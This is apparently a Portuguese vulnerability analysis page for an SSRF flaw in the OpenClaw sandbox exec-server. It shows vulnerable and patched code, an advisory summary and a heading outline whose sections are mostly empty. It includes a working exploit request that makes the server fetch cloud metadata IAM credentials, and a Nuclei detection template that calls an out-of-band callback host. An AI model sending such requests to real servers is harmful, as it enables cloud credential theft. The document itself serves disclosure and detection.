CVE-2026-62201-OpenClaw-SSRF — Análise aprofundada do CVE-2026-62201: bypass da política de rede do exec-server do sandbox OpenClaw (SSRF). Causa raiz, código vulnerável vs corrigido, exploração, detecção, remediação. | Kitploit

# De [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (resumido)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Advisory	GHSA-mgvr-6gvw-3rgr
NVD	CVE-2026-62201
Produto	OpenClaw (pacote npm `openclaw`) — componente sandbox `exec-server`
Afetado	`openclaw` < `2026.6.6`
Corrigido	`2026.6.6` e versões posteriores
Causa raiz	Validação SSRF ausente no helper HTTP embutido do exec-server (`SANDBOX_HTTP_REQUEST_SCRIPT`)
Commit da correção	`21410d1c` — "fix(codex): guard sandbox http requests"
Vetor de ataque	HTTP POST para o handler `http/request` do exec-server com uma URL controlada pelo atacante
Impacto	Um chamador de baixo privilégio alcança destinos de rede internos (metadados de nuvem, IPs privados, serviços localhost) que a política de rede do OpenClaw deveria bloquear

CVE-2026-62201-OpenClaw-SSRF

Mais Populares

Resumo

Análise Técnica Detalhada

O Componente: Sandbox Exec-Server

Código Vulnerável ([email protected])

A Correção ([email protected])

Exploração

Pré-requisitos

Passo a Passo

Exemplos de Cadeia de Ataque

Impacto e Justificativa do CVSS

Detecção

Nuclei

Sinais de Log e Telemetria

Remediação

Linha do Tempo de Divulgação

Referências

Divulgação Responsável